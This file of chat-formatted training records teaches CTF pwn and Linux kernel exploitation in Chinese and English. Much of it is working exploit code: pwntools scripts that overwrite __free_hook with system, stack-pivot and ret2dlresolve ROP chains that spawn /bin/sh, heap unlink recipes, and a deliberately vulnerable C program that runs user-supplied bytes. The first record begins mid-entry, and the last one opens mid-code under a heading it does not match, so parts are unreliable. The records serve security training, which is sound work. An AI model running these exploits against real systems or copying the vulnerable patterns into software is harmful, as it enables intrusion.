要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。

[Assistant]
#### 通过 find_msg 定位消息

```c
static struct msg_msg *find_msg(struct msg_queue *msq, long *msgtyp, int mode)
{
    struct msg_msg *msg, *found = NULL;
    long count = 0;

    list_for_each_entry(msg, &msq->q_messages, m_list) {
        if (testmsg(msg, *msgtyp, mode) &&
            !security_msg_queue_msgrcv(&msq->q_perm, msg, current,
                           *msgtyp, mode)) {
            if (mode == SEARCH_LESSEQUAL && msg->m_type != 1) {
                *msgtyp = msg->m_type - 1;
                found = msg;
            } else if (mode == SEARCH_NUMBER) {
                if (*msgtyp == count)
                    return msg;
            } else {
                return msg;
            }
            count++;
        }
    }

    return found ?: ERR_PTR(-EAGAIN);
}
```

`list_for_each_entry` 会遍历以 `msg_queue` 为头节点的双向循环链表，也就是遍历所有消息节点。随后 `testmsg()` 会根据 `mode` 和 `msgtyp` 进行筛选：

```c
static int testmsg(struct msg_msg *msg, long type, int mode)
{
    switch (mode) {
    case SEARCH_ANY:
    case SEARCH_NUMBER:
        return 1;
    case SEARCH_LESSEQUAL:
        if (msg->m_type <= type)
            return 1;
        break;
    case SEARCH_EQUAL:
        if (msg->m_type == type)
            return 1;
        break;
    case SEARCH_NOTEQUAL:
        if (msg->m_type != type)
            return 1;
        break;
    }
    return 0;
}
```

`mode` 由 `convert_mode()` 决定：

```c
static inline int convert_mode(long *msgtyp, int msgflg)
{
    if (msgflg & MSG_COPY)
        return SEARCH_NUMBER;

    if (*msgtyp == 0)
        return SEARCH_ANY;
    if (*msgtyp < 0) {
        if (*msgtyp == LONG_MIN)
            *msgtyp = LONG_MAX;
        else
            *msgtyp = -*msgtyp;
        return SEARCH_LESSEQUAL;
    }
    if (msgflg & MSG_EXCEPT)
        return SEARCH_NOTEQUAL;
    return SEARCH_EQUAL;
}
```

| `msgtyp` | `mode` | 效果 |
| --- | --- | --- |
| `< 0` | `SEARCH_LESSEQUAL` | 找到 `msg->m_type <= abs(msgtyp)` 且类型最合适的消息。 |
| `= 0` | `SEARCH_ANY` | 找到消息队列中的第一条消息。 |
| `> 0` | `SEARCH_EQUAL` / `SEARCH_NOTEQUAL` | 找到第一条 `m_type` 等于或不等于 `msgtyp` 的消息。 |

当 `MSG_COPY` 置位时，`mode` 为 `SEARCH_NUMBER`，`find_msg()` 返回双向循环链表中的第 `msgtyp` 条消息。此时 `msgtyp` 不再作为消息类型，而是作为消息序号。


[System] 你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。

[User]
请讲解 CTF pwn/二进制安全知识点「Validation result」。
资料来源：Kernel/2026d3ctf-d3kheap2pro/EXP.md；主题：d3kheap2pro exploit notes；分类：kernel。
要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。

[Assistant]
## Validation result

The official-route exploit is **not stable on this pro kernel as-is**. The local kernel enables mitigations that the public d3kheap2 route explicitly did not rely on being enabled:

```text
CONFIG_MEMCG=y
CONFIG_SLAB_BUCKETS=y
CONFIG_RANDOM_KMALLOC_CACHES=y
```

Observed QEMU results under the challenge-like 128M boot:

| D3K slots | msg queues | result |
|---:|---:|---|
| `0x100` | `0x400` | OOM/panic at evil `msg_msg` spray |
| `0x100` | `0x200`-`0x260` | runs, but fails to create cross-cache UAF |
| `0x180` | `0x220`-`0x240` | runs, but fails to create cross-cache UAF |
| `0x180` | `0x260` | OOM killer kills exp |
| `0x200` | `0x260` | reaches allocator corruption / fatal `__kmalloc_noprof` path |

So `exp.c` is a useful official-route port/reference, but not yet a solved root exploit for the pro variant.


[System] 你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。

[User]
请讲解 CTF pwn/二进制安全知识点「house of botcake」。
资料来源：Heap/heap exploit.md；主题：define TCACHE_MAX_BINS                64；分类：heap。
要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。

[Assistant]
#### house of botcake

同一个 chunk 释放到 tcache 和 unsorted bin 中。释放在 unsorted bin 的 chunk 借助堆块合并改变大小。相对于上一个方法，这个方法的好处是一次 double free 可以多次使用，因为控制同一块内存的 chunk 大小不同。

```python
from pwn import *

elf = ELF("./pwn")
libc = ELF("./libc.so.6")
context(arch=elf.arch, os=elf.os)
context.log_level = 'debug'

p = process([elf.path])

def add_chunk(index, size):
    p.sendafter("choice:", "1")
    p.sendafter("index:", str(index))
    p.sendafter("size:", str(size))

def delete_chunk(index):
    p.sendafter("choice:", "2")
    p.sendafter("index:", str(index))

def edit_chunk(index, content):
    p.sendafter("choice:", "3")
    p.sendafter("index:", str(index))
    p.sendafter("length:", str(len(content)))
    p.sendafter("content:", content)

def show_chunk(index):
    p.sendafter("choice:", "4")
    p.sendafter("index:", str(index))

add_chunk(0, 0x410)
add_chunk(1, 0x10)
delete_chunk(0)
add_chunk(0, 0x410)
show_chunk(0)
libc.address = u64(p.recvuntil('\x7F')[-6:].ljust(8, '\x00')) - 0x3b6be0
info("libc base: " + hex(libc.address))
for i in range(10):
    add_chunk(i, 0x200)
for i in range(7):
    delete_chunk(i)
delete_chunk(8)
delete_chunk(7)
add_chunk(0, 0x200)
delete_chunk(8)
add_chunk(7, 0x410)
edit_chunk(7, 'a' * 0x210 + p64(libc.sym['__free_hook']))
add_chunk(0, 0x200)
add_chunk(0, 0x200)
edit_chunk(0,p64(libc.sym['system']))
edit_chunk(2,'/bin/sh\x00')
delete_chunk(2)


[System] 你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。

[User] 解释 `Kernel/QWB2018-core/start.sh` 这个 CTF pwn/kernel exploit 代码示例的结构。请指出运行环境、交互封装、泄漏/写入/触发阶段、关键常量，以及代码适合训练模型学习的模式。

[Assistant]
文件：`Kernel/QWB2018-core/start.sh`

分类：kernel

语言：bash

训练用代码片段：
```bash
#!/bin/bash

qemu-system-x86_64 \
  -m 256M \
  -kernel ./bzImage \
  -initrd  ./core.cpio \
  -append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 quiet kaslr" \
  -netdev user,id=t0, -device e1000,netdev=t0,id=nic0 \
  -nographic  \
  -s
```


[System] 你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。

[User]
请讲解 CTF pwn/二进制安全知识点「2. libc leak from unsorted bin」。
资料来源：IO-FILE/[CISCN 2022 华东北]duck/WP.md；主题：[CISCN 2022 华东北] duck - Pwn Writeup；分类：io_file。
要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。

[Assistant]
# 2. libc leak from unsorted bin
for _ in range(9):
    add()
for i in range(1, 9):
    dele(i)

show(8)
libc_leak = leak_after_show()
libc_base = u64(libc_leak.ljust(8, b"\x00")) - 0x1f2cc0
log.success(f"libc_base = {libc_base:#x}")


[System] 你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。

[User]
请讲解 CTF pwn/二进制安全知识点「例题」。
资料来源：stack.md；主题：栈利用；分类：stack。
要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。

[Assistant]
### 例题

题目下载：

> 2018 安恒杯 over

+ 分析

checksec 发现没有`canary`保护和`PIE`保护。

ida 分析，发现主函数中`while`循环调用了一个自定义函数。跟进查看。

分析函数发现存在栈溢出，但是只能溢出 16 字节无法构造较长的 rop 链。

但是`read`函数并不会给输入字符串末尾补`\0`，所以当我们输入`0x50`个字符时，可以将`rbp`的值打印出来。

接下来我们分析栈结构。

从这里可以看到我们将泄露出的`rbp`是`0x7fffffffd420`，而我们输入的内容的地址为`0x7fffffffd3b0`。

`0x7fffffffd420-0x7fffffffd3b0=0x70`，两个地址之间的偏移相差`0x70`。

所以我们可以输入 payload 后，通过`leave;ret`指令将`rsp`迁移到 payload 处。

接下来我们寻找`leave;ret`指令。

`fake rbp`设置为原来的`rbp-0x70`，然后再次进行一次`leave;ret`。

这里我们需要执行两次 payload，因为我们需要先泄露`libc`地址来查找`libc`函数。

因为程序存在循环不断执行，所以我们可以第一次 payload 泄露`libc`地址，然后第二次 payload getshell。

**栈结构分析**

进行两次`leave;ret`，第一个我们将`rbp`迁移到输入处，第二次我们将`rsp`迁移到输入处。

+ 没执行前堆栈

[图片: image]

+ 第一次`leave;ret`，将`rbp`迁移过去。

[图片: image]

[图片: image]

[图片: image]

+ 第二次`leave;ret`，将`rsp`指针迁移过去

[图片: image]

[图片: image]

[图片: image]

+ exp

```python
#!/usr/bin/env python3
from pwn import *

def get_sb():
    return libc.address + libc.sym['system'], libc.address + next(libc.search(b'/bin/sh\x00'))

def dbg(c=0):
    if c:
        gdb.attach(io, c)
    else:
        gdb.attach(io)
        pause()

s = lambda data: io.send(data)
sa = lambda text, data: io.sendafter(text, data)
sl = lambda data: io.sendline(data)
sla = lambda text, data: io.sendlineafter(text, data)
r = lambda num=4096: io.recv(num)
ru = lambda text: io.recvuntil(text)
pr = lambda num=4096: print(io.recv(num))
ia = lambda: io.interactive()
ic = lambda: io.close()
l32 = lambda: u32(io.recvuntil(b'\xf7')[-4:].ljust(4, b'\x00'))
l64 = lambda: u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
uu32 = lambda: u32(io.recv(4).ljust(4, b'\x00'))
uu64 = lambda: u64(io.recv(6).ljust(8, b'\x00'))
int16 = lambda data: int(data, 16)
lg = lambda s, num: io.success('%s -> 0x%x' % (s, num))

elf = ELF('over')
io = process([elf.path])
#libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
libc = ELF('/buu/64/libc-2.23.so')
context(os=elf.os, arch=elf.arch, log_level='debug')
dbg()

#泄露rbp
payload = b'a' * 0x50
ru(b'>')
s(payload)

rbp_addr =  u64(ru(b"\n")[-7:-1] + b'\x00\x00')
lg("rbp",rbp_addr)

pop_rdi = 0x400793
puts_got = elf.got.puts
puts_plt = elf.plt.puts
ret=0x0000000000400509
vuln = 0x400676
leave_ret = 0x4006be
#pause()

#前面填充的"a"是因为程序并不会执行它
payload=b"a"*8+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(vuln)+b"a"*40+p64(rbp_addr-0x70)+p64(leave_ret)

s(payload)

libc.address = l64()-libc.sym.puts
lg("libc base",libc.address)
sys = libc.sym.system
sh = next(libc.search(b"/bin/sh\x00"))
lg("system",sys)
lg("sh",sh)

#执行system("/bin/sh")，添加一个ret平栈
#这里减去0x30是因为再次进入漏洞函数时，函数开头的汇编指令改变了栈结构。
payload = b"a"*8 + p64(pop_rdi) + p64(sh)+ p64(ret) + p64(sys) + p64(vuln) + b"a"*32 + p64(rbp_addr-0x70-0x30) + p64(leave_ret)

s(payload)

ia()
```


[System] 你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。

[User] 解释 `其它漏洞/整数溢出/cpu.c` 这个 CTF pwn/kernel exploit 代码示例的结构。请指出运行环境、交互封装、泄漏/写入/触发阶段、关键常量，以及代码适合训练模型学习的模式。

[Assistant]
文件：`其它漏洞/整数溢出/cpu.c`

分类：misc_vuln

语言：c

环境/依赖线索：
- `#include <stdio.h>`
- `#include <stdlib.h>`
- `#include <string.h>`
- `#include <unistd.h>`
- `#include <sys/mman.h>`

函数/封装：
- `init`
- `main`

利用主题关键词：
- seccomp/orw

关键常量/偏移样例：
`0x1000`

训练用代码片段：
```c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/mman.h>

void init() {
    setbuf(stdin, 0);
    setbuf(stdout, 0);
    setbuf(stderr, 0);
}

int main() {
    int a = 20;
    int b = 30;
    init();
    printf("input: ");

    // 使用 mmap 创建一个可执行内存区域
    void *exec_mem = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_ANONYMOUS | MAP_PRIVATE, -1, 0);
    if (exec_mem == MAP_FAILED) {
        perror("mmap failed");
        exit(1);
    }

    // 填充 ret 指令
    unsigned char ret[] = { 0xc3 }; // ret 指令
    memcpy(exec_mem + 2, ret, sizeof(ret));

    // 读取输入到 exec_mem
    read(0, exec_mem, 2);

    // 执行 exec_mem 中的代码
    void (*exec_func)() = (void(*)())exec_mem;  // 将 exec_mem 转换为函数指针
    __asm__ volatile(
        "call exec_mem;"         // 调用 exec_mem
        "mov %[a], %%edi;"       // 将 a 的值传递给 edi
        "mov %[b], %%esi;"       // 将 b 的值传递给 esi
        "cmp %%esi, %%edi;"      // 比较 edi 和 esi 中的值
            "jl less_than_label;"   // 如果 edi < esi，跳转到 less_than_label
            :
            : [a] "r"(a), [b] "r"(b) // 将 a 和 b 的值传递给汇编
            : "rdi", "rsi"           // 告诉编译器 rdi 和 rsi 被使用
        );

    system("/bin/sh");     // 如果 a >= b，调用 system("/bin/sh")
    __asm__ volatile("less_than_label:");
    printf("Learn the assembly instructions\n");
    return 0;
}
```

其它漏洞/整数溢出/cpu.c

其它漏洞/整数溢出/cpu.c


[System] 你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。

[User] 解释 `Stack/ret2dlresolve/dl_resolve_64/32位/stage6_roputils.py` 这个 CTF pwn/kernel exploit 代码示例的结构。请指出运行环境、交互封装、泄漏/写入/触发阶段、关键常量，以及代码适合训练模型学习的模式。

[Assistant]
文件：`Stack/ret2dlresolve/dl_resolve_64/32位/stage6_roputils.py`

分类：stack

语言：python

环境/依赖线索：
- `import roputils`
- `from pwn import *`

利用主题关键词：
- seccomp/orw
- stack/rop

训练用代码片段：
```python
#!/usr/bin/python
#coding:utf-8

import roputils
from pwn import *

fpath = './bof'
offset = 112

rop = roputils.ROP(fpath)
addr_bss = rop.section('.bss')

buf = rop.retfill(offset)
buf += rop.call('read', 0, addr_bss, 100)
buf += rop.dl_resolve_call(addr_bss+20, addr_bss)

p=process(fpath)
print p.recv()
p.send(p32(len(buf)) + buf)

buf = rop.string('/bin/sh')
buf += rop.fill(20, buf)
buf += rop.dl_resolve_data(addr_bss+20, 'system')
buf += rop.fill(100, buf)

p.send(buf)
p.interactive()
```


[System] 你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。

[User]
请讲解 CTF pwn/二进制安全知识点「利用思路」。
资料来源：Heap/heap exploit.md；主题：define TCACHE_MAX_BINS                64；分类：heap。
要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。

[Assistant]
### 利用思路
+ 公式：

```c
feak_chunk->Fd = &p - 3*sizeof(size_t);
feak_chunk->Bk = &p - 2*sizeof(size_t);

f->PREV_INUSE = 0;
f->prev_size = chunk_size(feak_chunk);

free(f)

p[3] = 需要覆盖的地址()

printf("%s",p) 泄露需要覆盖的地址

p[0] = system

调用需要覆盖的地址()拿shell
```

正常情况下，每申请一个 chunk 会保存一个指向该 chunk 内存块的指针

在 chunk1 伪造 fake chunk ，需要注意：

1. 为了绕过

```plain
if (__builtin_expect(FD->bk != P || BK->fd != P, 0))
    malloc_printerr(check_action, "corrupted double-linked list", P, AV);
```

令：

+ fakeFD -> bk == P1 <=> `*(&fakeFD + 0x18) == P1 <=> *fakeFD == &P1 - 0x18`
+ fakeBK -> fd == P1 <=> `*(&fakeBK + 0x10) == P1 <=> *fakeBK == &P1 - 0x10`
2. 为了绕过

```plain
if (__builtin_expect(chunksize(P) != prev_size(next_chunk(P)), 0))
    malloc_printerr("corrupted size vs. prev_size");
```

要将 chunk2 的 prev_size 修改成 fake chunk 的 size。或者将 size 和 prev_size 修改为 0 。不过 glibc-2.29 起多了对 size 和 prev_size 的检查。

```c
/* consolidate backward */
if (!prev_inuse(p)) {
  prevsize = prev_size (p);
  size += prevsize;
  p = chunk_at_offset(p, -((long) prevsize));
  if (__glibc_unlikely (chunksize(p) != prevsize))
    malloc_printerr ("corrupted size vs. prev_size while consolidating");
  unlink_chunk (av, p);
}
```

3. 为了绕过

```c
if (!in_smallbin_range(chunksize_nomask(P)) &&
    __builtin_expect(P->fd_nextsize != NULL, 0)) {
    if (__builtin_expect(P->fd_nextsize->bk_nextsize != P, 0) ||
        __builtin_expect(P->bk_nextsize->fd_nextsize != P, 0))
        malloc_printerr(check_action, "corrupted double-linked list (not small)", P, AV);
```

fake chunk 大小应在 small bin 范围。

4. 为了能使得 chunk2 与 fake chunk 合并，chunk2 的 size 的 PREV_INUSE 位 为 0 ，且 chunk2 的大小不能在 fast bin 范围。

[图片: Pasted image 20250413121402]

释放 chunk2 ，向前合并 fake chunk ，使得 fake chunk 进行 unlink 操作，按如下代码执行，因此 `P1 = &P1 - 0x18` 。

+ `FD->bk = BK` <=> `P1 = &P1 - 0x10`
    - `BK->fd = FD` <=> `P1 = &P1 - 0x18`

[图片: image]

至此，整个指针数组被控制，可以实现任意地址读写。


[System] 你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。

[User] 解释 `Stack/ret2dlresolve/dl_resolve_64/64位/stage6.py` 这个 CTF pwn/kernel exploit 代码示例的结构。请指出运行环境、交互封装、泄漏/写入/触发阶段、关键常量，以及代码适合训练模型学习的模式。

[Assistant]
文件：`Stack/ret2dlresolve/dl_resolve_64/64位/stage6.py`

分类：stack

语言：python

环境/依赖线索：
- `from pwn import *`

函数/封装：
- `makecall`

利用主题关键词：
- seccomp/orw
- stack/rop

关键常量/偏移样例：
`0x100`, `0x1c8`, `0x800`, `0x20740`, `0x6E406`, `0x8eb46`, `0x4002c0`, `0x400398`, `0x400470`, `0x400510`, `0x4005e0`, `0x400676`, `0x4006ab`, `0x400790`, `0x4007AA`, `0x4007b3`

训练用代码片段：
```python
#!/usr/bin/python
#coding:utf-8
from pwn import *

#需修改:文件名、溢出偏移、gadget地址、各节地址
fpath = './bof'
offset = 112
length = 0x100
stack_size = 0x800
main_addr=0x400676
p6_addr=0x4007AA
call_addr=0x400790
leave_ret=0x4006ab
p_rbp_ret=0x4005e0
p_rdi_ret=0x4007b3

elf = ELF(fpath)
write_got=elf.got['write']
read_got=elf.got['read']
read_plt = elf.plt['read']
write_plt = elf.plt['write']
got_8=elf.get_section_by_name('.got.plt').header.sh_addr+8   #0x601008
bss_addr =elf.get_section_by_name('.bss').header.sh_addr
base_stage = bss_addr + stack_size
#print 'got_8=',hex(got_8)

def makecall(addr, rdi, rsi, rdx, tail = 0):
    payload = ''
    payload += p64(p6_addr)
    payload += p64(0x0)
    payload += p64(0x1)
    payload += p64(addr)
    payload += p64(rdx)
    payload += p64(rsi)
    payload += p64(rdi)
    payload += p64(call_addr)
    if (tail):
        payload += p64(0x0) * 7 + p64(tail)
    return payload

p = process(fpath)
print p.recv()        # 'Welcome to XDCTF2015~!\n'
#1.泄露&link_map地址
payload='\x00'*offset
payload+='\x00'*8
payload+=makecall(write_got,1,got_8,8,tail=main_addr)
payload=payload.ljust(0x100,'\x00')
p.send(payload)
link_map = u64(p.recv(8))
print 'link_map=',hex(link_map)

#2.往link_map+0x1c8写0
payload='\x00'*offset
payload+='\x00'*8
payload+=makecall(read_got,0,link_map+0x1c8,8,tail=main_addr)
payload=payload.ljust(0x100,'\x00')
p.send(payload)
p.send(p64(0))

#3.往base_stage写入伪造结构并跳过去
payload='\x00'*offset
payload+='\x00'*8
payload+=makecall(read_got,0,base_stage,0xd0,tail=0)   #假设结构大小是400
payload+=p64(0)*2+p64(base_stage)+p64(0)*4
payload+=p64(leave_ret)
payload=payload.ljust(0x100,'\x00')
p.send(payload)

#4.bss数据：rop-参数放在寄存器/ 伪造结构
#(1)确定各个节的地址
cmd = "/bin/sh"
plt_0 = 0x400510 # objdump -d -j .plt bof
rel_plt = 0x400470 # objdump -s -j .rela.plt bof
write_got = elf.got['write']
dynsym = 0x4002c0 #readelf -S bof
dynstr = 0x400398
#(2)确定重定位下标
index_offset = base_stage + 7*8
align = 24 - ((index_offset-rel_plt) % 24)  # 这里的对齐操作是因为dynsym里的ELF64_R_SYM结构体都是24字节大小
index_offset = index_offset + align
index = (index_offset - rel_plt) / 24 # base_stage + 7*8 指向fake_reloc，减去rel_plt即偏移
#(3)确定动态链接符号下标
fake_sym_addr = base_stage + 13*8
align = 24 - ((fake_sym_addr - dynsym) % 24)# 这里的对齐操作是因为dynsym里的Elf64_Sym结构体都是24字节大小
fake_sym_addr = fake_sym_addr + align
index_dynsym = (fake_sym_addr - dynsym) / 24 # 除以24因为Elf64_Sym结构体的大小为24，得到write的dynsym索引号
#(4)伪造重定位结构+动态链接结构
r_info = (index_dynsym << 32) | 0x7
fake_reloc = p64(write_got) + p64(r_info) + p64(0)
st_name = (fake_sym_addr + 24) - dynstr   #fake_sym（Elf32_Sym结构体）大小0x10
fake_sym = p32(st_name) + p32(0x12) + p64(0) + p64(0)

payload2 = 'AAAAAAAA'
payload2 += p64(p_rdi_ret)
payload2 += p64(base_stage+0xc0)   #/bin/sh
payload2 += p64(plt_0)
payload2 += p64(index)
payload2 += 'AAAAAAAA'       #返回地址
payload2 += 'aaaaaaaa'

payload2 = payload2.ljust(index_offset-base_stage,'B')
payload2 += fake_reloc # index_offset(base_stage+7*8)的位置
payload2 = payload2.ljust(fake_sym_addr-base_stage,'B')
payload2 += fake_sym   # fake_sym_addr(base_stage+9*8)的位置

payload2 += "system\x00"
payload2 = payload2.ljust(0xc0,'\x00')
payload2 += cmd + '\x00'
payload2 = payload2.ljust(0xd0,'\x00')
gdb.attach(p,'b *0x4006ab')
raw_input('wait!!\n')
p.send(payload2)
p.interactive()

#目标：0x8eb46 : cmp byte ptr [rax], dl ; ret
#>>> hex(elf.symbols['__libc_start_main'])
#'0x20740'
#0x8eb46-0x20740=0x6E406
```


[System] 你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。

[User]
请讲解 CTF pwn/二进制安全知识点「free_hook」。
资料来源：Heap/heap exploit.md；主题：define TCACHE_MAX_BINS                64；分类：heap。
要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。

[Assistant]
### free_hook

```c
void
__libc_free (void *mem)
{
  mstate ar_ptr;
  mchunkptr p;                          /* chunk corresponding to mem */
  // 调用 __free_hook ，参数是是否的内存的地址。
  void (*hook) (void *, const void *)
    = atomic_forced_read (__free_hook);
  if (__builtin_expect (hook != NULL, 0))
    {
      (*hook)(mem, RETURN_ADDRESS (0));
      return;
    }
```

gdb调试

```
p &__free_hook
```

查看 free_hook 地址上的内容。

我们可以通过在hook中写`system`函数，将`malloc`和`free`函数修改为执行`system`函数，我们`malloc`或`free`一个存有`/bin/sh`的chunk既可以完成getshell。或者我们可以将hook修改为one_gadget直接getshell。

+ 使用 malloc 时，系统会从两分配区来划分：文件映射区和堆区。
  - 当申请内存小 128KB 时，通过 brk 系统调用，直接堆区分配内存。
  - 当申请内存大于 128 KB 时，通过 mmap 系统调用，从文件映射区域分配内存。
+ free的是brk堆内存（堆上内存在free后不会立刻将它归还操作，程序会继续执行，会造成潜在的UAF问题。free 的是堆顶的内存，并且堆顶的空闲内存大于 128kb，使用超过 128kb 的内存则会直接引发段错误。free的是mmap映射区域，由文件映射区域存在 free 后立刻归还并取消内存映射，当再次访问此内存进就会发生段错误问题）。


[System] 你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。

[User]
请讲解 CTF pwn/二进制安全知识点「fix」。
资料来源：IO-FILE/house of storm/2026ccb catchme/wp.md；主题：2026ccb catchme；分类：io_file。
要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。

[Assistant]
## fix

漏洞点：

```
loc_E05:                                ; CODE XREF: sub_D78+78↑j
.text:0000000000000E05 028 8B 45 EC                                      mov     eax, [rbp+var_14]
.text:0000000000000E08 028 48 98                                         cdqe
.text:0000000000000E0A 028 48 8D 14 C5 00 00 00 00                       lea     rdx, ds:0[rax*8]
.text:0000000000000E12 028 48 8D 05 47 12 20 00                          lea     rax, heaplist
.text:0000000000000E19 028 48 8B 04 02                                   mov     rax, [rdx+rax]
.text:0000000000000E1D 028 48 89 C7                                      mov     rdi, rax        ; ptr
.text:0000000000000E20 028 E8 FB F9 FF FF                                call    _free
.text:0000000000000E20
.text:0000000000000E25 028 B8 00 00 00 00
```

```
loc_E05:
        mov     eax, [rbp+var_14]     ; n4 = index
        cdqe
        lea     rdx, ds:0[rax*8]      ; rdx = index * 8
        lea     rax, heaplist
        mov     rax, [rdx+rax]        ; rax = heaplist[index]
        mov     rdi, rax              ; ptr
        call    _free                 ; heaplist[index] 未置空
        mov     eax, 0
```

修复后：

```
.text:0000000000000E05 loc_E05:
.text:0000000000000E05 mov     eax, [rbp+var_14]
.text:0000000000000E08 lea     rdx, heaplist
.text:0000000000000E0F mov     rdi, [rdx+rax]  ; ptr
.text:0000000000000E13 push    rdi
.text:0000000000000E14 call    _free
.text:0000000000000E19 pop     rdi
.text:0000000000000E1A mov     rdi, r9
```

- 另一种 fix 思路

将`mov eax,0 `置零改成`jmp loc_10da`

```
loc_10DA:
.text:00000000000010DA 028 8B 45 EC                                      mov     eax, [rbp+var_14]
.text:00000000000010DD 028 48 98                                         cdqe
.text:00000000000010DF 028 48 8D 14 C5 00 00 00 00                       lea     rdx, ds:0[rax*8]
.text:00000000000010E7 028 48 8D 05 72 0F 20 00                          lea     rax, heaplist
.text:00000000000010EE 028 48 C7 04 02 00 00 00 00                       mov     qword ptr [rdx+rax], 0
.text:00000000000010F6 028 48 8D 3D 0E 03 00 00                          lea     rdi, aRecordCleared ; "record cleared"
.text:00000000000010FD 028 E8 2E F7 FF FF                                call    _puts
.text:00000000000010FD
.text:0000000000001102 028 B8 00 00 00 00                                mov     eax, 0

反汇编：
  heaplist[n4] = 0;
    puts("record cleared");
    return 0;
```

IO-FILE/house of storm/2026ccb catchme/wp.md


[System] 你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。

[User]
请讲解 CTF pwn/二进制安全知识点「（1）节表认识」。
资料来源：Stack/ret2dlresolve/dl_resolve_64/dl_resolve-any_gadget.md；主题：dl_resolve-any_gadget；分类：stack。
要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。

[Assistant]
>st_info) == STT_GNU_IFUNC, 0))
142	    value = elf_ifunc_invoke (DL_FIXUP_VALUE_ADDR (value));
143
144	  /* Finally, fix up the plt itself.  */
145	  if (__glibc_unlikely (GLRO(dl_bind_not)))
146	    return value;
147	// 6.最后把value写入相应的GOT表条目中
148	  return elf_machine_fixup_plt (l, result, refsym, sym, reloc, rel_addr, value);
149	}
```

	主要流程如下：

```c
_dl_fixup(struct link_map *l, ElfW(Word) reloc_arg)
{
    // 1.首先通过参数reloc_arg计算重定位入口，这里的JMPREL即.rel.plt，reloc_offset即reloc_arg
    const PLTREL *const reloc = (const void *) (D_PTR (l, l_info[DT_JMPREL]) + reloc_offset);
    // 2.然后通过reloc->r_info找到.dynsym中对应的条目
    const ElfW(Sym) *sym = &symtab[ELFW(R_SYM) (reloc->r_info)];
    // 3.这里还会检查reloc->r_info的最低位是不是R_386_JUMP_SLOT=7
    assert (ELFW(R_TYPE)(reloc->r_info) == ELF_MACHINE_JMP_SLOT);
    // 4.接着通过strtab+sym->st_name找到符号表字符串，result为libc基地址
    result = _dl_lookup_symbol_x (strtab + sym->st_name, l, &sym, l->l_scope, version, ELF_RTYPE_CLASS_PLT, flags, NULL);
    // 5.value为libc基址加上要解析函数的偏移地址，也即实际地址
    value = DL_FIXUP_MAKE_VALUE (result, sym ? (LOOKUP_VALUE_ADDRESS (result) + sym->st_value) : 0);
    // 6.最后把value写入相应的GOT表条目中
    return elf_machine_fixup_plt (l, result, reloc, rel_addr, value);
}
```

####（4）利用libc中的gadget

	可以在源码中看到，在**第3步**之后，当.dynsym节中Elf32_Sym结构的st_other值为非0时，会进入另一个不常见的分支，最终跳到（l->l_addr+sym->st_value）。

```c
/* Look up the target symbol.  If the normal lookup rules are not
	      used don't look in the global scope.  */
if (__builtin_expect (ELFW(ST_VISIBILITY) (sym->st_other), 0) == 0)
{
}
else
{
	/* We already found the symbol.  The module (and therefore its load
	  address) is also known.  */
	value = DL_FIXUP_MAKE_VALUE (l, l->l_addr+sym->st_value);
	result = l;
}
```

	说明：l是link_map结构，link_map结构第一个变量就是l_addr。（应该没有检查，伪造的话）。以下是解析read地址时跳到got[8]时的link_map结构，可见l_addr==0：

[图片: link_map]

#####利用方法：

	1.可以伪造link_map结构。

	2.使l_addr或st_value其中之一恰好落到某个地址解析已完成的GOT表处，另一个变量设置为可控偏移。

